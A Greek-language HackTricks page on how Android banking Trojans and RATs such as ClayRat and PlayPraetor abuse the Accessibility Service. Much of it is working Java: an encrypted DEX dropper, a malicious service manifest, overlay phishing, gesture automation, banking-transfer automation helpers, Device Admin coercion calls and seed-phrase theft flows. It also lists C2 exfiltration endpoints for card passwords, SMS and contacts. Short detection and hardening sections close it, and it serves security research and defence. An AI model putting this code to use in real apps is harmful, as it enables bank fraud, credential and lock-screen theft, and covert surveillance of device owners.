Κατάχρηση Android Accessibility Service

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Επισκόπηση

AccessibilityService δημιουργήθηκε για να βοηθά χρήστες με αναπηρίες να αλληλεπιδρούν με συσκευές Android. Δυστυχώς, οι ίδιες ισχυρές APIs αυτοματοποίησης (παγκόσμια πλοήγηση, εισαγωγή κειμένου, αποστολή gestures, παράθυρα επικάλυψης…) μπορούν να οπλοποιηθούν από malware για να αποκτήσουν πλήρη απομακρυσμένο έλεγχο της συσκευής χωρίς root privileges.

Σύγχρονοι Android banking Trojans και Remote-Access-Trojans (RATs) όπως οι PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda και πολλοί άλλοι ακολουθούν την ίδια συνταγή:

  1. Social-engineer το θύμα ώστε να ενεργοποιήσει μια κακόβουλη accessibility service (η BIND_ACCESSIBILITY_SERVICE permission θεωρείται “high-risk” και απαιτεί ρητή ενέργεια από τον χρήστη).
  2. Χρησιμοποιούν την service για να
  • καταγράψουν κάθε UI event & κείμενο που εμφανίζεται στην οθόνη,
  • εισάγουν συνθετικά gestures (dispatchGesture) και global actions (performGlobalAction) για να αυτοματοποιήσουν οποιαδήποτε εργασία επιθυμεί ο χειριστής,
  • σχεδιάζουν full-screen overlays πάνω από νόμιμες εφαρμογές χρησιμοποιώντας τον τύπο παραθύρου TYPE_ACCESSIBILITY_OVERLAY (χωρίς prompt SYSTEM_ALERT_WINDOW!),
  • αθόρυβα χορηγούν πρόσθετες runtime permissions κάνοντας κλικ στα system dialogs εκ μέρους του θύματος.
  1. Exfiltrate δεδομένα ή εκτελούν On-Device-Fraud (ODF) σε πραγματικό χρόνο ενώ ο χρήστης βλέπει μια απολύτως φυσιολογική οθόνη.

Packed Accessibility droppers

Το ClayRat v3.0.8 συνδυάζει το Accessibility RAT του με ένα staged payload κρυμμένο κάτω από assets/. Κατά το runtime το host APK:

  1. Stream-αρει το κρυπτογραφημένο blob από assets/*.dat.
  2. Το αποκρυπτογραφεί με ένα hard-coded AES/CBC key + IV ενσωματωμένο μέσα στον Java/Kotlin loader.
  3. Γράφει το plaintext DEX στον ιδιωτικό dir της εφαρμογής και το φορτώνει μέσω DexClassLoader, αποκαλύπτοντας τις πραγματικές κλάσεις spyware μόνο στη μνήμη.
byte[] blob = readAsset("payload.enc");
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecretKeySpec key = new SecretKeySpec(hex("A1..."), "AES");
c.init(Cipher.DECRYPT_MODE, key, new IvParameterSpec(iv));
byte[] dex = c.doFinal(blob);
DexClassLoader cl = new DexClassLoader(writeTemp(dex), getCodeCacheDir().getPath(), null, getClassLoader());
cl.loadClass("com.clayrat.Core").newInstance();

Αυτό το μοτίβο πακεταρίσματος (ATT&CK T1406.002) διατηρεί το Accessibility module εκτός δίσκου μέχρι να εκτελεστεί ο dropper, παρακάμπτοντας τα static signature scans και το Play Protect μέχρι ο χρήστης να έχει ήδη χορηγήσει τα dangerous permissions.


Ζητώντας την άδεια

<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

Το συνοδευτικό XML καθορίζει πώς θα εμφανίζεται το ψεύτικο παράθυρο διαλόγου:

<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Βασικά στοιχεία απομακρυσμένης αυτοματοποίησης UI

Σκελετός αυτοματοποίησης Accessibility service ```java public class EvilService extends AccessibilityService { @Override public void onAccessibilityEvent(AccessibilityEvent event) { // harvest text or detect foreground app change }

// Simulate HOME / BACK / RECENTS … private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); } private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); } private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe public void tap(float x, float y) { Path p = new Path(); p.moveTo(x, y); GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50); dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null); } }

</details>

Με μόνο αυτά τα δύο APIs, ένας επιτιθέμενος μπορεί:
* Ξεκλειδώνει την οθόνη, ανοίγει την banking app, περιηγείται στο UI tree της και υποβάλλει μια φόρμα μεταφοράς.
* Αποδέχεται κάθε permission dialog που εμφανίζεται.
* Εγκαθιστά/ενημερώνει επιπλέον APKs μέσω του Play Store intent.

---

## Μοτίβα κατάχρησης

### 1. Overlay Phishing (Credential Harvesting)
Μια διαφανής ή αδιαφανής `WebView` προστίθεται στο window manager:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

Το θύμα πληκτρολογεί διαπιστευτήρια στη ψεύτικη φόρμα ενώ η εφαρμογή στο παρασκήνιο λαμβάνει τις ίδιες κινήσεις – ποτέ δεν εμφανίζεται η ύποπτη προτροπή “draw over other apps”.

Λεπτομερές παράδειγμα: η ενότητα Accessibility Overlay Phishing στη σελίδα Tapjacking.

ClayRat εκθέτει αυτήν τη δυνατότητα με τις εντολές show_block_screen / hide_block_screen που κατεβάζουν πρότυπα overlay από το C2. Οι χειριστές μπορούν να εναλλάσσουν διατάξεις άμεσα για να:

  • Μπλοκάρισμα του πάνελ ώστε το θύμα να υποθέσει ότι το τηλέφωνο είναι απενεργοποιημένο ή κολλημένο ενώ αυτοματοποιημένες κινήσεις απενεργοποιούν το Play Protect ή χορηγούν περισσότερες άδειες.
  • Εμφάνιση ψεύτικων ενημέρωση συστήματος / βελτιστοποίηση μπαταρίας πάνελ που αιτιολογούν γιατί η συσκευή είναι «απασχολημένη» ενώ η παρασκήνια αυτοματοποίηση συνεχίζεται.
  • Εμφάνιση ενός διαδραστικού πληκτρολογίου PIN overlay που καθρεφτίζει την οθόνη κλειδώματος του συστήματος — το malware καταγράφει κάθε ψηφίο και το στέλνει στον χειριστή αμέσως μόλις εισαχθεί ένας 4‑ψήφιος κωδικός.

Επειδή τα παράθυρα TYPE_ACCESSIBILITY_OVERLAY δεν προκαλούν ποτέ την προτροπή άδειας SYSTEM_ALERT_WINDOW, το θύμα βλέπει μόνο το δόλωμα UI ενώ το RAT συνεχίζει να αλληλεπιδρά με τις πραγματικές εφαρμογές από κάτω.

2. Αυτοματισμός απάτης στη συσκευή

Οικογένειες malware όπως το PlayPraetor διατηρούν ένα μόνιμο κανάλι WebSocket όπου ο χειριστής μπορεί να εκδίδει εντολές υψηλού επιπέδου (init, update, alert_arr, report_list, …). Η υπηρεσία μεταφράζει αυτές τις εντολές στις χαμηλού επιπέδου κινήσεις που περιγράφηκαν παραπάνω, επιτυγχάνοντας σε πραγματικό χρόνο μη εξουσιοδοτημένες συναλλαγές που παρακάμπτουν εύκολα τη πολλαπλή επαλήθευση ταυτότητας (MFA) δεμένη σε αυτήν τη συσκευή.

3. Ροή οθόνης & παρακολούθηση

  1. turbo_screen ενεργοποιεί το διάλογο συγκατάθεσης MediaProjection· η Accessibility service πατάει “Start now” ώστε το θύμα να μην παρέμβει ποτέ.
  2. Με το προκύπτον token MediaProjection δημιουργεί ένα VirtualDisplay υποστηριζόμενο από ImageReader, διατηρεί ένα ForegroundService ζωντανό και αντλεί frames σε worker threads.
  3. Τα frames κωδικοποιούνται σε JPEG/PNG σύμφωνα με την παράμετρο set_quality που παρέχει ο χειριστής (προεπιλογή 60 αν λείπει) και αποστέλλονται μέσω ενός HTTP→WebSocket upgrade που διαφημίζει το custom ClayRemoteDesktop user-agent.
  4. start_desktop / stop_desktop διαχειρίζονται τα νήματα καταγραφής ενώ screen_tap, screen_swipe, input_text, press_home, press_back και press_recents αναπαράγουν κινήσεις πάνω στο live framebuffer.

Το αποτέλεσμα είναι μια ροή τύπου VNC που παραδίδεται εντελώς μέσω εγκεκριμένων APIs — χωρίς root ή εκμεταλλεύσεις kernel — ωστόσο προσφέρει στον επιτιθέμενο άμεση επίγνωση της κατάστασης με λανθάνουσα χιλιοστών του δευτερολέπτου.

4. Κλοπή διαπιστευτηρίων κλειδώματος οθόνης και αυτόματο ξεκλείδωμα

ClayRat εγγράφεται στα γεγονότα TYPE_WINDOW_CONTENT_CHANGED / TYPE_VIEW_TEXT_CHANGED που εκπέμπονται από com.android.systemui (Keyguard). Ανακατασκευάζει όποιο guard είναι ενεργό:

  • PIN – παρακολουθεί τα πατήματα του πληκτρολογίου μέχρι η οθόνη κλειδώματος να αναφέρει ολοκλήρωση.
  • Password – συνενώνει τις συμβολοσειρές που εμφανίζονται στο εστιασμένο πεδίο password για κάθε AccessibilityEvent.
  • Pattern – καταγράφει τους διατεταγμένους δείκτες κόμβων που εξάγονται από τις συντεταγμένες κινήσεων πάνω στο πλέγμα 3×3.

Τα μυστικά μαζί με μεταδεδομένα (τύπος κλειδώματος + timestamp) σειριοποιούνται σε SharedPreferences υπό το lock_password_storage. Όταν ο χειριστής στέλνει auto_unlock, η υπηρεσία ξυπνά τη συσκευή με unlock_device / screen_on, αναπαράγει τα αποθηκευμένα ψηφία ή κινήσεις μέσω dispatchGesture και παρακάμπτει σιωπηρά το keyguard ώστε οι επακόλουθες ODF ροές εργασίας να συνεχιστούν.

5. Phishing ειδοποιήσεων & συλλογή

Ένας συνοδευτικός Notification Listener μετατρέπει τη γραμμή ειδοποιήσεων σε επιφάνεια phishing:

  • get_push_notifications εξάγει κάθε εμφανιζόμενη ειδοποίηση, συμπεριλαμβανομένων μηνυμάτων OTP / MFA.
  • Η εντολή notifications εναλλάσσει ένα flag notifications_enabled ώστε κάθε μελλοντικό payload onNotificationPosted() να αποστέλλεται στο C2 σε πραγματικό χρόνο.
  • send_push_notification επιτρέπει στους χειριστές να δημιουργήσουν ψεύτικες, διαδραστικές ειδοποιήσεις που μιμούνται τραπεζικές ή chat εφαρμογές· οποιοδήποτε κείμενο υποβάλει το θύμα αναλύεται ως διαπιστευτήρια και εξάγεται αμέσως.

Επειδή η Accessibility μπορεί να ανοίξει/απορρίψει τη γραμμή ειδοποιήσεων προγραμματιστικά, αυτή η μέθοδος συλλέγει μυστικά χωρίς να αγγίζει τις στοχευμένες εφαρμογές.

6. Τηλεφωνία & κανάλι εντολών SMS

Αφού αναγκάσει τον χρήστη να ορίσει το RAT ως την προεπιλεγμένη εφαρμογή SMS, οι παρακάτω εντολές παρέχουν πλήρη έλεγχο του modem:

  • send_sms και retransmishion στέλνουν αυθαίρετα ή επαναληφθέντα μηνύματα σε αριθμούς που ελέγχονται από τον επιτιθέμενο.
  • messsms διατρέχει ολόκληρη τη βάση επαφών για να σπαμάρει συνδέσμους phishing για worm-like διάδοση.
  • make_call ξεκινά φωνητικές κλήσεις που υποστηρίζουν workflows κοινωνικής μηχανικής.
  • get_sms_list / get_sms και get_call_log / get_calls εξάγουν εισερχόμενα και ιστορικό κλήσεων ώστε κωδικοί MFA ή μεταδεδομένα κλήσεων να μπορούν να καταχραστούν άμεσα.

Σε συνδυασμό με την Accessibility-driven πλοήγηση UI, το ClayRat μπορεί να λάβει ένα OTP μέσω ειδοποίησης/SMS και αμέσως να το εισάγει στην στοχευμένη τραπεζική ή enterprise εφαρμογή.

7. Ανίχνευση, συλλογή & δρομολόγηση μέσω proxy

Επιπλέον εντολές του ClayRat χαρτογραφούν το περιβάλλον και κρατούν το C2 ανθεκτικό:

  • get_apps / get_apps_list απαριθμούν εγκατεστημένα πακέτα (ATT&CK T1418).
  • get_device_info αναφέρει μοντέλο, έκδοση OS και κατάσταση μπαταρίας (T1426).
  • get_cam / get_camera τραβούν φωτογραφίες με την μπροστινή κάμερα, ενώ το get_keylogger_data σειριοποιεί PIN κλειδώματος μαζί με passwords, περιγραφές views και hints που αποσπώνται από ευαίσθητα πεδία.
  • get_proxy_data φέρνει ένα proxy WebSocket URL, προσθέτει το μοναδικό device ID και δημιουργεί μια εργασία που τούνελάρει HTTP/HTTPS πάνω στο ίδιο αμφίδρομο κανάλι (T1481.002 / T1646).

PlayPraetor – command & control ροή εργασίας

  1. HTTP(S) heartbeat – επανάληψη πάνω από μια hard-coded λίστα μέχρι κάποιο domain να απαντήσει POST /app/searchPackageName με το ενεργό C2.
  2. WebSocket (port 8282) – αμφίδρομες JSON εντολές:
  • update – push νέων conf/APKs
  • alert_arr – διαμόρφωση template overlay
  • report_list – αποστολή λίστας στοχευμένων package names
  • heartbeat_web – keep-alive
  1. RTMP (port 1935) – ζωντανή ροή οθόνης/βίντεο.
  2. REST exfiltration
  • /app/saveDevice (fingerprint)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (bank creds)

Η AccessibilityService είναι η τοπική μηχανή που μετατρέπει αυτές τις cloud εντολές σε φυσικές αλληλεπιδράσεις.


Εντοπισμός κακόβουλων accessibility services

  • adb shell settings get secure enabled_accessibility_services
  • Settings → Accessibility → Downloaded services – ελέγξτε για εφαρμογές που δεν προέρχονται από το Google Play.
  • Οι λύσεις MDM / EMM μπορούν να επιβάλλουν ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) για να αποκλείσουν sideloaded services.
  • Αναλύστε τις τρέχουσες υπηρεσίες:
adb shell dumpsys accessibility | grep "Accessibility Service"

Συστάσεις ενίσχυσης ασφαλείας για προγραμματιστές εφαρμογών

  • Σημειώστε ευαίσθητες προβολές με android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Συνδυάστε setFilterTouchesWhenObscured(true) με FLAG_SECURE για να αποτρέψετε tap/overlay hijacking.
  • Εντοπίστε overlays με polling WindowManager.getDefaultDisplay().getFlags() ή το API ViewRootImpl.
  • Αρνηθείτε να λειτουργήσετε όταν Settings.canDrawOverlays() ή μια μη αξιόπιστη Accessibility service είναι ενεργή.

ATS automation cheat-sheet (Accessibility-driven)

Malware μπορεί να αυτοματοποιήσει πλήρως μια τραπεζική εφαρμογή μόνο με Accessibility APIs. Γενικά primitives:

Βοηθητικές μέθοδοι για αυτοματοποίηση ATS ```java // Helpers inside your AccessibilityService private List byText(String t){ AccessibilityNodeInfo r = getRootInActiveWindow(); return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); } private boolean clickText(String t){ for (AccessibilityNodeInfo n: byText(t)){ if (n.isClickable()) return n.performAction(ACTION_CLICK); AccessibilityNodeInfo p = n.getParent(); if (p != null) return p.performAction(ACTION_CLICK); } return false; } private void inputText(AccessibilityNodeInfo field, String text){ Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); field.performAction(ACTION_SET_TEXT, b); } private void tap(float x, float y){ Path p = new Path(); p.moveTo(x,y); dispatchGesture(new GestureDescription.Builder() .addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); } ```

Παράδειγμα ροής (Τσεχικά → Αγγλικά ετικέτες):

  • “Nová platba” (Νέα πληρωμή) → κάντε κλικ
  • “Zadat platbu” (Εισαγωγή πληρωμής) → κάντε κλικ
  • “Nový příjemce” (Νέος παραλήπτης) → κάντε κλικ
  • “Domácí číslo účtu” (Αριθμός εγχώριου λογαριασμού) → εστίαση και ACTION_SET_TEXT
  • “Další” (Επόμενο) → κάντε κλικ → … “Zaplatit” (Πληρωμή) → κάντε κλικ → εισάγετε PIN

Fallback: σκληρά κωδικοποιημένες συντεταγμένες με dispatchGesture όταν η αναζήτηση κειμένου αποτυγχάνει λόγω προσαρμοσμένων widgets.

Επίσης παρατηρήθηκε: προκαταρκτικά βήματα προς check_limit και limit με πλοήγηση στο limits UI και αύξηση των ημερήσιων ορίων πριν τη μεταφορά.

Ψευδο-ροή οθόνης βασισμένη σε κείμενο

Για τηλεχειρισμό χαμηλής καθυστέρησης, αντί για πλήρη ροή βίντεο, εξάγετε μια κειμενική αναπαράσταση του τρέχοντος UI tree και στείλτε την στο C2 επανειλημμένα.

private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
}

Αυτό αποτελεί τη βάση για εντολές όπως txt_screen (μιας χρήσης) και screen_live (συνεχής).

Device Admin βασικά εργαλεία εξαναγκασμού

Μόλις ένας Device Admin receiver ενεργοποιηθεί, αυτές οι κλήσεις αυξάνουν τις ευκαιρίες για συλλογή credentials και διατήρηση ελέγχου:

DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);

// 1) Immediate lock
dpm.lockNow();

// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android

// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);

Σημείωση: η ακριβής διαθεσιμότητα αυτών των πολιτικών διαφέρει ανάλογα με την έκδοση Android και τον OEM· επαληθεύστε τον ρόλο πολιτικής της συσκευής (admin vs owner) κατά τη δοκιμή.

Πρότυπα εξαγωγής seed-phrase για πορτοφόλια κρυπτονομισμάτων

Παρατηρούμενες ροές για MetaMask, Trust Wallet, Blockchain.com και Phantom:

  • Ξεκλείδωμα με κλεμμένο PIN (συλλεγμένο μέσω overlay/Accessibility) ή με τον παρεχόμενο κωδικό πορτοφολιού.
  • Πλοήγηση: Settings → Security/Recovery → Reveal/Show recovery phrase.
  • Συλλογή της φράσης μέσω keylogging των text nodes, secure-screen bypass, ή screenshot OCR όταν το κείμενο είναι καλυμμένο.
  • Υποστήριξη πολλαπλών locale (EN/RU/CZ/SK) για σταθεροποίηση των selectors – προτιμήστε το viewIdResourceName όταν είναι διαθέσιμο, εναλλακτικά χρησιμοποιήστε multilingual text matching.

Ορχήστρωση NFC-relay

Μονάδες Accessibility/RAT μπορούν να εγκαταστήσουν και να εκκινήσουν μια αφιερωμένη NFC-relay εφαρμογή (π.χ. NFSkate) ως τρίτο στάδιο και ακόμη να εγχύσουν έναν overlay οδηγό για να καθοδηγήσουν το θύμα μέσα από τα βήματα του card-present relay.

Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay


Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks